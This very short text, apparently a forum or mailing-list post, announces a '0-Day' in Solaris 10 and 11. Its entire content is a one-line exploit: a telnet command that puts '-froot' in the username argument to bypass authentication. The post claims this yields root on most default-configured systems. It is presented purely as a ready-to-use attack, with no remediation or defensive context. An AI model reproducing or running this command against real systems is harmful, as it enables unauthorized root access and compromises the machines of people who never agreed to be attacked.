Telnet -l "-froot" will get you root on most solaris 10/11 with default configs.

0-Day in Solaris 10 and 11